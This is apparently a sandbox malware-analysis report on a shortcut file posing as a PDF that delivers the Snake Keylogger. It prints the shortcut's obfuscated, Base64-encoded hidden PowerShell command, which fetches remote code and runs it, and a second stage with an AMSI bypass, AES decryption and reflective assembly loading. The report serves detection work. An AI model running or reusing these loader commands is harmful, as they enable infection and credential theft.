File name:

.lnk

Full analysis: https://app.any.run/tasks/44561158-5c0e-4ee7-a4ac-d37574e36269
Verdict: Malicious activity
Threats:

A keylogger is a type of spyware that infects a system and has the ability to record every keystroke made on the device. This lets attackers collect personal information of victims, which may include their online banking credentials, as well as personal conversations. The most widespread vector of attack leading to a keylogger infection begins with a phishing email or link. Keylogging is also often present in remote access trojans as part of an extended set of malicious tools.

Malware Trends Tracker     >>>
Analysis date: February 19, 2025, 06:40:43
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
evasion
snake
keylogger
stealer
susp-powershell
Indicators:
MIME: application/x-ms-shortcut
File info: MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has command line arguments, Icon number=11, Unicoded, HasExpIcon, Archive, ctime=Thu Jan 16 17:34:21 2025, atime=Thu Jan 16 17:34:21 2025, mtime=Thu Jan 16 17:34:21 2025, length=278528, window=showminnoactive, IDListSize 0x0135, Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D", Volume "C:\", LocalBasePath "C:\Windows\System32\cmd.exe"
MD5:

827EC9A77B972D4467144FB8A4E59065

SHA1:

746477AE49748524DBE606665DCBB3467F9F8886

SHA256:

FCD67519F34EA85F3FB2ED343CD84D20A97DA2B2E50838470F8769130B73E338

SSDEEP:

48:8BTUnMJXr1QqsW6YxSn9TDuJbf4mIA+5MwJDrOsaEHhfEsVUBpbtib9Wh6daXuHc:8BdX+d1ZCVg1OwJGQPV4iR4dueM

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 6724)
      • powershell.exe (PID: 7372)

    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 6336)

    • Gets or sets the symmetric key that is used for encryption and decryption (POWERSHELL)

      • powershell.exe (PID: 6336)

    • Gets or sets the initialization vector for the symmetric algorithm (POWERSHELL)

      • powershell.exe (PID: 6336)

    • Dynamically loads an assembly (POWERSHELL)

      • powershell.exe (PID: 6336)

    • Create files in the Startup directory

      • powershell.exe (PID: 6336)

    • Request from PowerShell which ran from CMD.EXE

      • powershell.exe (PID: 6336)

    • SNAKEKEYLOGGER has been detected (SURICATA)

      • powershell.exe (PID: 6336)

    • Actions looks like stealing of personal data

      • powershell.exe (PID: 6336)

    • Steals credentials from Web Browsers

      • powershell.exe (PID: 6336)

  • SUSPICIOUS

    • BASE64 encoded PowerShell command has been detected

      • cmd.exe (PID: 6656)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 6656)
      • cmd.exe (PID: 6412)
      • powershell.exe (PID: 6336)

    • Base64-obfuscated command line is found

      • cmd.exe (PID: 6656)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 6724)
      • powershell.exe (PID: 6336)

    • Writes data into a file (POWERSHELL)

      • powershell.exe (PID: 6724)

    • The process executes VB scripts

      • powershell.exe (PID: 6724)

    • Writes binary data to a Stream object (SCRIPT)

      • cscript.exe (PID: 7084)

    • Gets file extension (POWERSHELL)

      • powershell.exe (PID: 6724)

    • Creates FileSystem object to access computer's file system (SCRIPT)

      • cscript.exe (PID: 7084)

    • Starts CMD.EXE for commands execution

      • cscript.exe (PID: 7084)
      • cmd.exe (PID: 6404)
      • cmd.exe (PID: 6412)

    • Executing commands from a ".bat" file

      • cscript.exe (PID: 7084)
      • cmd.exe (PID: 6404)
      • cmd.exe (PID: 6412)

    • Runs shell command (SCRIPT)

      • cscript.exe (PID: 7084)

    • Application launched itself

      • cmd.exe (PID: 6404)
      • cmd.exe (PID: 6412)
      • powershell.exe (PID: 6336)

    • Checks for external IP

      • svchost.exe (PID: 2192)
      • powershell.exe (PID: 6336)

    • The process verifies whether the antivirus software is installed

      • powershell.exe (PID: 6336)

    • Connects to SMTP port

      • powershell.exe (PID: 6336)

  • INFO

    • Disables trace logs

      • powershell.exe (PID: 6724)
      • powershell.exe (PID: 6336)

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 6724)

    • Checks proxy server information

      • powershell.exe (PID: 6724)
      • powershell.exe (PID: 6336)

    • Application launched itself

      • Acrobat.exe (PID: 7008)
      • AcroCEF.exe (PID: 5736)
      • msedge.exe (PID: 6464)

    • Reads security settings of Internet Explorer

      • cscript.exe (PID: 7084)

    • Create files in a temporary directory

      • cscript.exe (PID: 7084)

    • Manual execution by a user

      • msedge.exe (PID: 6464)

    • Checks current location (POWERSHELL)

      • powershell.exe (PID: 6336)
      • powershell.exe (PID: 7372)

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 6336)

    • Found Base64 encoded text manipulation via PowerShell (YARA)

      • cmd.exe (PID: 6412)
      • conhost.exe (PID: 4308)
      • powershell.exe (PID: 6336)

    • Found Base64 encoded file access via PowerShell (YARA)

      • cmd.exe (PID: 6412)
      • powershell.exe (PID: 6336)

    • Found Base64 encoded reflection usage via PowerShell (YARA)

      • cmd.exe (PID: 6412)
      • powershell.exe (PID: 6336)

    • Found Base64 encoded compression PowerShell classes (YARA)

      • cmd.exe (PID: 6412)
      • powershell.exe (PID: 6336)

    • Found Base64 encoded encryption-related PowerShell classes (YARA)

      • cmd.exe (PID: 6412)
      • powershell.exe (PID: 6336)

    • Reads the computer name

      • identity_helper.exe (PID: 7776)

    • Checks supported languages

      • identity_helper.exe (PID: 7776)

    • Reads Environment values

      • identity_helper.exe (PID: 7776)

    • Converts byte array into ASCII string (POWERSHELL)

      • powershell.exe (PID: 6336)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 6336)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

Flags: IDList, LinkInfo, Description, RelativePath, CommandArgs, IconFile, Unicode, ExpIcon
FileAttributes: Archive
CreateDate: 2025:01:16 17:34:21+00:00
AccessDate: 2025:01:16 17:34:21+00:00
ModifyDate: 2025:01:16 17:34:21+00:00
TargetFileSize: 278528
IconIndex: 11
RunWindow: Show Minimized No Activate
HotKey: (none)
TargetFileDOSName: cmd.exe
DriveType: Fixed Disk
DriveSerialNumber: B439-BFAE
VolumeLabel: Windows Server
LocalBasePath: C:\Windows\System32\cmd.exe
Description: document.pdf
RelativePath: ..\..\..\Windows\System32\cmd.exe
CommandLineArguments: cmd /v:on /c "set var1=po^wersh^ell& set var2=-Win^dowS^tyle& set var3=Hid^den& set var4=-En^codedCom^mand& set var5=CgAKACQAQQAxAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBVADMAbAB6AGQARwBWAHQATABrADUAbABkAEMANQBYAFoAVwBKAEQAYgBHAGwAbABiAG4AUQA9ACcAKQApAAoACgAKACQAQQAyAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgACgAJABBADEAKQAKAAoACgAkAEEAMwA9AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAUgBHADkAMwBiAG0AeAB2AFkAVwBSAFQAZABIAEoAcABiAG0AYwA9ACcAKQApAAoACgAKACQAQQA1AD0AIgBoAHQAdABwAHMAOgAvAC8AMAB4ADAALgBzAHQALwA4AGIAdwAyAC4AdAB4AHQAIgAKAAoACgAkAEEANgA9ACQAQQAyAC4AJABBADMAKAAkAEEANQApAAoACgAKAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAQQA2AAoACgAgACAAIAAgAA==& !var1! !var2! !var3! !var4! !var5!"
IconFileName: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
MachineID: server97582
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
169
Monitored processes
55
Malicious processes
6
Suspicious processes
0

Behavior graph

Click at the process to see the details
start cmd.exe no specs conhost.exe no specs powershell.exe acrobat.exe cscript.exe no specs conhost.exe no specs acrobat.exe no specs cmd.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs cmd.exe no specs #SNAKEKEYLOGGER powershell.exe acrocef.exe no specs acrocef.exe no specs acrocef.exe no specs acrocef.exe acrocef.exe no specs acrocef.exe no specs acrocef.exe no specs msedge.exe msedge.exe no specs msedge.exe no specs msedge.exe msedge.exe no specs acrocef.exe no specs acrocef.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs powershell.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs identity_helper.exe no specs identity_helper.exe no specs msedge.exe no specs acrocef.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs svchost.exe msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
644"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --log-severity=disable --user-agent-product="ReaderServices/23.1.20093 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1612,i,7054894978733159346,5097091361589073348,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe—AcroCEF.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe AcroCEF
Version:
23.1.20093.0
Modules
Images
c:\program files\adobe\acrobat dc\acrobat\acrocef_1\acrocef.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
1020"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.1.20093 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1612,i,7054894978733159346,5097091361589073348,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
AcroCEF.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe AcroCEF
Version:
23.1.20093.0
Modules
Images
c:\program files\adobe\acrobat dc\acrobat\acrocef_1\acrocef.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
1064"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=6108 --field-trial-handle=2540,i,4453318485015484267,5886461858730349991,262144 --variations-seed-version /prefetch:8C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Exit code:
0
Version:
122.0.2365.59
Modules
Images
c:\program files (x86)\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files (x86)\microsoft\edge\application\122.0.2365.59\msedge_elf.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1400"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=6004 --field-trial-handle=2540,i,4453318485015484267,5886461858730349991,262144 --variations-seed-version /prefetch:8C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Exit code:
0
Version:
122.0.2365.59
Modules
Images
c:\program files (x86)\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files (x86)\microsoft\edge\application\122.0.2365.59\msedge_elf.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1740"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=6116 --field-trial-handle=2540,i,4453318485015484267,5886461858730349991,262144 --variations-seed-version /prefetch:8C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Exit code:
0
Version:
122.0.2365.59
Modules
Images
c:\program files (x86)\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files (x86)\microsoft\edge\application\122.0.2365.59\msedge_elf.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2136"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=gpu-process --log-severity=disable --user-agent-product="ReaderServices/23.1.20093 Chrome/105.0.0.0" --lang=en-US --gpu-preferences=UAAAAAAAAADgACAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2604 --field-trial-handle=1612,i,7054894978733159346,5097091361589073348,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:2C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe—AcroCEF.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe AcroCEF
Exit code:
0
Version:
23.1.20093.0
Modules
Images
c:\program files\adobe\acrobat dc\acrobat\acrocef_1\acrocef.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
2192C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
3652"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=gpu-process --log-severity=disable --user-agent-product="ReaderServices/23.1.20093 Chrome/105.0.0.0" --lang=en-US --gpu-preferences=UAAAAAAAAADgACAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1516 --field-trial-handle=1612,i,7054894978733159346,5097091361589073348,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:2C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe—AcroCEF.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe AcroCEF
Exit code:
0
Version:
23.1.20093.0
Modules
Images
c:\program files\adobe\acrobat dc\acrobat\acrocef_1\acrocef.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
3724C:\WINDOWS\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\admin\AppData\Local\Temp\EWVm.bat';iex ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("cG93ZXJzaGVsbCAtdyBoaWRkZW47aWV4ICgoJChbVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnVTFSU1NVNUhVa0ZPUkU5TmFWTlVVa2xPUjFKQlRrUlBUV1ZUVkZKSlRrZFNRVTVFVDAxNElDZ29hVk5VVWtsT1IxSkJUa1JQVFhkVFZGSkpUa2RTUVU1RVQwMXlVMVJTU1U1SFVrRk9SRTlOSUMxVFZGSkpUa2RTUVU1RVQwMVZVMVJTU1U1SFVrRk9SRTlOYzFOVVVrbE9SMUpCVGtSUFRXVlRWRkpKVGtkU1FVNUVUMDFDVTFSU1NVNUhVa0ZPUkU5TllWTlVVa2xPUjFKQlRrUlBUWE5UVkZKSlRrZFNRVTVFVDAxcFUxUlNTVTVIVWtGT1JFOU5ZMU5VVWtsT1IxSkJUa1JQVFZCVFZGSkpUa2RTUVU1RVQwMWhVMVJTU1U1SFVrRk9SRTlOY2xOVVVrbE9SMUpCVGtSUFRYTlRWRkpKVGtkU1FVNUVUMDFwVTFSU1NVNUhVa0ZPUkU5TmJsTlVVa2xPUjFKQlRrUlBUV2RUVkZKSlRrZFNRVTVFVDAwZ0lsTlVVa2xPUjFKQlRrUlBUV2hUVkZKSlRrZFNRVTVFVDAxMGRIQnpVMVJTU1U1SFVrRk9SRTlOT2xOVVVrbE9SMUpCVGtSUFRTOVRWRkpKVGtkU1FVNUVUMDB2VTFSU1NVNUhVa0ZPUkU5Tk1GTlVVa2xPUjFKQlRrUlBUWGhUVkZKSlRrZFNRVTVFVDAwd1UxUlNTVTVIVWtGT1JFOU5MbE5VVWtsT1IxSkJUa1JQVFhOVFZGSkpUa2RTUVU1RVQwMTBVMVJTU1U1SFVrRk9SRTlOTDFOVVVrbE9SMUpCVGtSUFRUaFRWRkpKVGtkU1FVNUVUMDFhVTFSU1NVNUhVa0ZPUkU5TlJGTlVVa2xPUjFKQlRrUlBUV0ZUVkZKSlRrZFNRVTVFVDAwdVUxUlNTVTVIVWtGT1JFOU5kRk5VVWtsT1IxSkJUa1JQVFhoVFZGSkpUa2RTUVU1RVQwMTBVMVJTU1U1SFVrRk9SRTlOSWlrdVEyOXVkR1Z1ZEM1U1pYQnNZV05sS0NkQlFrTW5MQ2NuS1NrZ0xVVnljbTl5UVdOMGFXOXVJRk5wYkdWdWRHeDVRMjl1ZEdsdWRXVTcnKSkpKSAtcmVwbGFjZSAnU1RSSU5HUkFORE9NJywgJycpO3RyeXsgSW52b2tlLVN5c3RlbUFtc2lCeXBhc3MgLURpc2FibGVFVFcgLUVycm9yQWN0aW9uIFN0b3AgfWNhdGNoeyBXcml0ZS1PdXRwdXQgIlRoaXMgc3lzdGVtIGhhcyBhIG1vZGlmaWVkIEFNU0kiIH07ZnVuY3Rpb24gVlpaR0MoJHBhcmFtX3Zhcil7JGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOyRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzskYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnRll2RHM5d0wzang5d29XMThnL3lKZldDclRUZytxTWh1b1FOZmU4YTJaMD0nKTskYWVzX3Zhci5JVj1bU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCdUSGlHRTZmN2JuNTV4SGVnL2h0LzBBPT0nKTskV0ZRQks9JGFlc192YXIuQ3JlYXRlRGVjcnlwdG9yKCk7JFZaQ1lTPSRXRlFCSy5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsMCwkcGFyYW1fdmFyLkxlbmd0aCk7JFdGUUJLLkRpc3Bvc2UoKTskYWVzX3Zhci5EaXNwb3NlKCk7JFZaQ1lTO31mdW5jdGlvbiBkZWNvbXByZXNzX2Z1bmN0aW9uKCRwYXJhbV92YXIpeyRQRkxRRD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOyRXWFNNSj1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW07JE9XSkxSPU5ldy1PYmplY3QgU3lzdGVtLklPLkNvbXByZXNzaW9uLkdaaXBTdHJlYW0oJFBGTFFELFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTskT1dKTFIuQ29weVRvKCRXWFNNSik7JE9XSkxSLkRpc3Bvc2UoKTskUEZMUUQuRGlzcG9zZSgpOyRXWFNNSi5EaXNwb3NlKCk7JFdYU01KLlRvQXJyYXkoKTt9JFFaVUNXPVtTeXN0ZW0uSU8uRmlsZV06OlJlYWRMaW5lcyhbQ29uc29sZV06OlRpdGxlKTskcGF5bG9hZDJfdmFyPWRlY29tcHJlc3NfZnVuY3Rpb24gKFZaWkdDIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoW1N5c3RlbS5MaW5xLkVudW1lcmFibGVdOjpFbGVtZW50QXQoJFFaVUNXLCA2KS5TdWJzdHJpbmcoMikpKSk7W1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRwYXlsb2FkMl92YXIpLkVudHJ5UG9pbnQuSW52b2tlKCRudWxsLCRudWxsKTtjbGVhcjs="))) "C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
4308\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
36 820
Read events
36 689
Write events
129
Delete events
2

Modification events

(PID) Process:(6724) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.pdf\OpenWithProgids
Operation:writeName:Acrobat.Document.DC
Value:
(PID) Process:(7008) Acrobat.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-2034283098-2252572593-1072577386-2659511007-3245387615-27016815-3920691934
Operation:writeName:DisplayName
Value:
Adobe Acrobat Reader Protected Mode
(PID) Process:(6300) Acrobat.exeKey:HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\ExitSection
Operation:writeName:bLastExitNormal
Value:
0
(PID) Process:(6300) Acrobat.exeKey:HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\AVEntitlement
Operation:writeName:bSynchronizeOPL
Value:
0
(PID) Process:(6300) Acrobat.exeKey:HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\AVGeneral
Operation:writeName:uLastAppLaunchTimeStamp
Value:
485510120
(PID) Process:(6300) Acrobat.exeKey:HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\AVGeneral
Operation:writeName:iNumAcrobatLaunches
Value:
7
(PID) Process:(6300) Acrobat.exeKey:HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\NoTimeOut
Operation:writeName:smailto
Value:
5900
(PID) Process:(6300) Acrobat.exeKey:HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\ToolsSearch
Operation:writeName:iSearchHintIndex
Value:
3
(PID) Process:(6300) Acrobat.exeKey:HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\AdobeViewer
Operation:delete valueName:ProductInfoCache
Value:
(PID) Process:(6300) Acrobat.exeKey:HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\AdobeViewer
Operation:writeName:EULAAcceptedForBrowser
Value:
1
Executable files
7
Suspicious files
326
Text files
53
Unknown types
0

Dropped files

PID
Process
Filename
Type
6724powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_yvgienpk.nap.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6724powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_1dgpz4kc.tkx.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6336powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_e0bodjtj.tuk.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6336powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_sqgrw1nc.4gr.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6724powershell.exeC:\Users\admin\AppData\Local\Temp\PO_Swift%20Payment.pdfpdf
MD5:4F05F4D6A8B774B70CE538BE803E35B4
SHA256:97FF7F09C6ADBD76F24C7F97E63F73C343E12D520B1FB9C50246762BD4CF96EE
7084cscript.exeC:\Users\admin\AppData\Local\Temp\EWVm.battext
MD5:F6D052E977E9C552C03225F298A63B2F
SHA256:94700A41A4F8DF1AB648830505B51F9390832325303D9EAF10E33C7A5E7AB47F
6300Acrobat.exeC:\Users\admin\AppData\Local\Adobe\Acrobat\DC\SharedDataEventsbinary
MD5:CBBAE92457310418A07930B1A3BB5F7F
SHA256:24E34FA95E248FFE4895E2F902000F33C0340C5678AA69C64C3B616986521FB6
6300Acrobat.exeC:\Users\admin\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.1.20093.6 2025-02-19 06-41-08-994.logtext
MD5:460C6041966002D8384A18C895A65EB0
